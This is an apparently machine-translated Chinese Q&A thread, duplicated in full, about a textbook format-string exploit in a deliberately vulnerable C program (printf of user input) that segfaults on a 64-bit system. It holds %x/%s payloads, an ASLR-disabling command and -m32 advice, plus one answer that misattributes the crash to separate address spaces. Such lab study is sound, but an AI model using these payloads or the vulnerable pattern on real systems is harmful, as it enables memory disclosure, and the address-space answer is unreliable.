格式字符串利用以段错误结束
Format string exploit ends in segfault
我正在阅读 "Hacking - The Art of Exploitation" 这本书。
这是我利用格式字符串的代码的简化版本。
/* fmt_vuln.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char *argv[]){
char text [1024];
if (argc < 2){
printf ("Usage: %s <text to print>\n", argv[0]);
exit (0);
}
strcpy (text, argv[1]);
printf ("The wrong way to print user-controlled input:\n");
printf (text);
printf ("\n");
return 0;
}
我运行这个命令:
./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
我得到了:
The wrong way to print user-controlled input:
AAAA59055000.58e347a0.58b68620.ffffffff.00000000.fba56ac8.58a9fc58.41414141
所以,我看到第 8 个格式参数是从格式字符串的开头读取的。
然后,当我 运行 命令时:
./getenv PATH ./fmt_vuln
我得到了地址:
0x7ffe2a673d84
所以我尝试运行:(为了打印PATH变量)
./fmt_vuln $(printf "\x84\x3d\x67\x2a\xfe\x7f")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%s
我得到了:
The wrong way to print user-controlled input:
Segmentation fault
为什么我会出现段错误?从 getenv 程序中我得到了 PATH 的地址,但程序仍然崩溃...
感谢帮助。
出于安全原因,并非计算机中的所有进程都共享相同的 memory space。当我谈论不同的内存空间时,我在说什么?考虑以下 2 个程序:
//program 1
int main(int argc, char** argv){
printf("%02x", *((uint8_t*)0xf00fba11));
return 0;
}
//program 2
int main(int argc, char** argv){
printf("%02x", *((uint8_t*)0xf00fba11));
return 0;
}
如果这些程序同时 运行(假设它们没有出现段错误(几乎肯定会发生)),它们将打印不同的值。怎么可能??他们都访问内存位置 0xf00fba11!... 还是他们?
为了理解这里发生了什么,我们首先需要理解当cpu从内存中加载一个值时发生了什么。要从内存中加载一个值,cpu 向 RAM 发送一个请求,如下所示:
cpu
|-------------| |---------|
| read |-------address out to RAM (0xf00fba11)---->| RAM |
| | | |
| *0xf00fba11 |<---------data coming back to CPU----------| |
|-------------| |---------|
在cpu和ram之间有一个特殊的硬件,将地址从"virtual addresses"翻译成"physical addresses",它被称为内存管理单元(MMU简称)。如果程序请求地址 0x1000 处的值,则 MMU 可能 "remap" 0x1000 到 0x8000。如果地址 0x1000 在到达 RAM 进行所有读写之前总是被替换为 0x8000,这可能看起来像是一个毫无意义的操作。该程序仍然以完全相同的方式运行...所以有什么大不了的?
最重要的是现在程序 1 和 2 无法访问彼此的数据。 MMU 可以配置为不存在程序 1 可以从其中读取包含程序 2 的变量之一的地址。这 "mapping" 对于每个进程(大部分)都是唯一的,由操作系统配置。
这是一个 MMU 如何影响我们的玩具 "f00fba11" 示例的示例。
Process 1
cpu
|-------------| |---------|
| read |---0xf00fba11---| MMU |--0x1000ba11------->| RAM |
| | | |
| *0xf00fba11 |<---------data coming back to CPU----------| |
|-------------| |---------|
Process 2
cpu
|-------------| |---------|
| read |---0xf00fba11---| MMU |--0x7000ba11------->| RAM |
| | | |
| *0xf00fba11 |<---------data coming back to CPU----------| |
|-------------| |---------|
进程1和进程2都请求存储在内存地址0xf00fba11的数据,但是他们得到了2个完全不同的RAM单元!这项绝妙的发明被称为"virtual memory"。如果 MMU 将不同地映射它们的内存,我们说 2 个进程有不同的 "address spaces"。操作系统决定这些映射并将 MMU 配置为遵守它们,从而 "insulating" 相互处理。考虑 2 个进程和它们可能想要访问的内存地址。
Process 1
asks for | gets physical address
------------------------------------
0x0000 - 0x0fff | ERROR SEGFAULT
0x1000 - 0x1fff | 0x70000 - 0x70fff
0x2000 - 0x2fff | 0x30000 - 0x30fff
0x3000 - 0x3fff | 0xa7000 - 0xa7fff
etc.... | etc.....
Process 2
asks for | gets physical address
------------------------------------
0x0000 - 0x0fff | ERROR SEGFAULT
0x1000 - 0x1fff | 0xb1000 - 0xb1fff
0x2000 - 0x2fff | 0x40000 - 0x40fff
0x3000 - 0x3fff | 0x1c000 - 0x1cfff
etc.... | etc.....
因此,如果在进程 1 中的内存地址 0x7ffe2a673d84 加载了一个环境变量,它可能会转换为物理地址 0x63002a673d84。此外,当进程 2 尝试访问 *0x7ff32a673d84 时,它将被映射到一个完全不同的地址,或者,在您的情况下,进程 2 可能未映射,导致 段错误。
所以坏消息是,我认为您没有任何方法可以 "fix" 使用您的代码解决此问题。做你想做的事情要么给你一个段错误,要么给你随机的、无用的数据。要获取您感兴趣的数据,您需要查看 MMU 配置设置并更改它们,除非您 运行 处于提升的特权级别,否则不允许您这样做。
在我们分开之前,值得注意的是进程之间可能存在一些 共享 地址,以便在两个进程之间来回传递数据或访问共享软件库。也就是说,对于几个不同的进程,0x1000 将转换为 0x5000。
或者我不知道你在说什么。我并没有真正遵循 ./getenv PATH ./fmt_vuln
这条线
你使用的是64位系统,所以你的地址有8个字节。
看看那个地址0x7ffe2a673d84
,它只有6个字节。这意味着较高的两个字节为零。但是您不能像 \xff\xaa\xbb\x00
那样简单地提供零字节作为十六进制字符串,因为程序会将零字节解释为字符串的结尾。
您需要使用 32 位系统进行实验,x64 架构不允许您进行该利用。
偶然发现了同样的事情(读同一本书)。
getenv_addr
不是超级可靠。我通过添加
在 fmt_vuln.c
中显示 PATH
的确切地址来作弊
printf("[*] %s is at %p\n", "PATH", getenv("PATH"));
这将为您提供一个应该有效的地址,并且不应与 getenv_addr
给出的地址相差太远。
此外,确保禁用 ASLR(地址 space 布局随机化 - 这基本上是随机化地址 space 位置):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
并确保编译 32 位程序 (gcc -m32
)。
我正在阅读 "Hacking - The Art of Exploitation" 这本书。
这是我利用格式字符串的代码的简化版本。
/* fmt_vuln.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char *argv[]){
char text [1024];
if (argc < 2){
printf ("Usage: %s <text to print>\n", argv[0]);
exit (0);
}
strcpy (text, argv[1]);
printf ("The wrong way to print user-controlled input:\n");
printf (text);
printf ("\n");
return 0;
}
我运行这个命令:
./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
我得到了:
The wrong way to print user-controlled input:
AAAA59055000.58e347a0.58b68620.ffffffff.00000000.fba56ac8.58a9fc58.41414141
所以,我看到第 8 个格式参数是从格式字符串的开头读取的。
然后,当我 运行 命令时:
./getenv PATH ./fmt_vuln
我得到了地址:
0x7ffe2a673d84
所以我尝试运行:(为了打印PATH变量)
./fmt_vuln $(printf "\x84\x3d\x67\x2a\xfe\x7f")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%s
我得到了:
The wrong way to print user-controlled input:
Segmentation fault
为什么我会出现段错误?从 getenv 程序中我得到了 PATH 的地址,但程序仍然崩溃...
感谢帮助。
出于安全原因,并非计算机中的所有进程都共享相同的 memory space。当我谈论不同的内存空间时,我在说什么?考虑以下 2 个程序:
//program 1
int main(int argc, char** argv){
printf("%02x", *((uint8_t*)0xf00fba11));
return 0;
}
//program 2
int main(int argc, char** argv){
printf("%02x", *((uint8_t*)0xf00fba11));
return 0;
}
如果这些程序同时 运行(假设它们没有出现段错误(几乎肯定会发生)),它们将打印不同的值。怎么可能??他们都访问内存位置 0xf00fba11!... 还是他们?
为了理解这里发生了什么,我们首先需要理解当cpu从内存中加载一个值时发生了什么。要从内存中加载一个值,cpu 向 RAM 发送一个请求,如下所示:
cpu
|-------------| |---------|
| read |-------address out to RAM (0xf00fba11)---->| RAM |
| | | |
| *0xf00fba11 |<---------data coming back to CPU----------| |
|-------------| |---------|
在cpu和ram之间有一个特殊的硬件,将地址从"virtual addresses"翻译成"physical addresses",它被称为内存管理单元(MMU简称)。如果程序请求地址 0x1000 处的值,则 MMU 可能 "remap" 0x1000 到 0x8000。如果地址 0x1000 在到达 RAM 进行所有读写之前总是被替换为 0x8000,这可能看起来像是一个毫无意义的操作。该程序仍然以完全相同的方式运行...所以有什么大不了的?
最重要的是现在程序 1 和 2 无法访问彼此的数据。 MMU 可以配置为不存在程序 1 可以从其中读取包含程序 2 的变量之一的地址。这 "mapping" 对于每个进程(大部分)都是唯一的,由操作系统配置。
这是一个 MMU 如何影响我们的玩具 "f00fba11" 示例的示例。
Process 1
cpu
|-------------| |---------|
| read |---0xf00fba11---| MMU |--0x1000ba11------->| RAM |
| | | |
| *0xf00fba11 |<---------data coming back to CPU----------| |
|-------------| |---------|
Process 2
cpu
|-------------| |---------|
| read |---0xf00fba11---| MMU |--0x7000ba11------->| RAM |
| | | |
| *0xf00fba11 |<---------data coming back to CPU----------| |
|-------------| |---------|
进程1和进程2都请求存储在内存地址0xf00fba11的数据,但是他们得到了2个完全不同的RAM单元!这项绝妙的发明被称为"virtual memory"。如果 MMU 将不同地映射它们的内存,我们说 2 个进程有不同的 "address spaces"。操作系统决定这些映射并将 MMU 配置为遵守它们,从而 "insulating" 相互处理。考虑 2 个进程和它们可能想要访问的内存地址。
Process 1
asks for | gets physical address
------------------------------------
0x0000 - 0x0fff | ERROR SEGFAULT
0x1000 - 0x1fff | 0x70000 - 0x70fff
0x2000 - 0x2fff | 0x30000 - 0x30fff
0x3000 - 0x3fff | 0xa7000 - 0xa7fff
etc.... | etc.....
Process 2
asks for | gets physical address
------------------------------------
0x0000 - 0x0fff | ERROR SEGFAULT
0x1000 - 0x1fff | 0xb1000 - 0xb1fff
0x2000 - 0x2fff | 0x40000 - 0x40fff
0x3000 - 0x3fff | 0x1c000 - 0x1cfff
etc.... | etc.....
因此,如果在进程 1 中的内存地址 0x7ffe2a673d84 加载了一个环境变量,它可能会转换为物理地址 0x63002a673d84。此外,当进程 2 尝试访问 *0x7ff32a673d84 时,它将被映射到一个完全不同的地址,或者,在您的情况下,进程 2 可能未映射,导致 段错误。
所以坏消息是,我认为您没有任何方法可以 "fix" 使用您的代码解决此问题。做你想做的事情要么给你一个段错误,要么给你随机的、无用的数据。要获取您感兴趣的数据,您需要查看 MMU 配置设置并更改它们,除非您 运行 处于提升的特权级别,否则不允许您这样做。
在我们分开之前,值得注意的是进程之间可能存在一些 共享 地址,以便在两个进程之间来回传递数据或访问共享软件库。也就是说,对于几个不同的进程,0x1000 将转换为 0x5000。
或者我不知道你在说什么。我并没有真正遵循 ./getenv PATH ./fmt_vuln
你使用的是64位系统,所以你的地址有8个字节。
看看那个地址0x7ffe2a673d84
,它只有6个字节。这意味着较高的两个字节为零。但是您不能像 \xff\xaa\xbb\x00
那样简单地提供零字节作为十六进制字符串,因为程序会将零字节解释为字符串的结尾。
您需要使用 32 位系统进行实验,x64 架构不允许您进行该利用。
偶然发现了同样的事情(读同一本书)。
getenv_addr
不是超级可靠。我通过添加
fmt_vuln.c
中显示 PATH
的确切地址来作弊
printf("[*] %s is at %p\n", "PATH", getenv("PATH"));
这将为您提供一个应该有效的地址,并且不应与 getenv_addr
给出的地址相差太远。
此外,确保禁用 ASLR(地址 space 布局随机化 - 这基本上是随机化地址 space 位置):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
并确保编译 32 位程序 (gcc -m32
)。